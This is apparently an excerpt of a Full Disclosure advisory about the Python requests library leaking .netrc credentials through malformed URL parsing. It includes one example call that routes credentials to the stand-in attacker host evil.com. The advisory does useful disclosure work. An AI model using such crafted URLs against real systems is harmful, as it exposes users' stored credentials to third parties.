Posted by Juho Forsén via Fulldisclosure on Jun 03
The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc
credentials to third parties due to incorrect URL processing under specific conditions.
Issuing the following API call triggers the vulnerability:
requests.get(‘http://example.com:@evil.com/&apos😉
Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call.
The root cause is…
– Read More – Full Disclosure
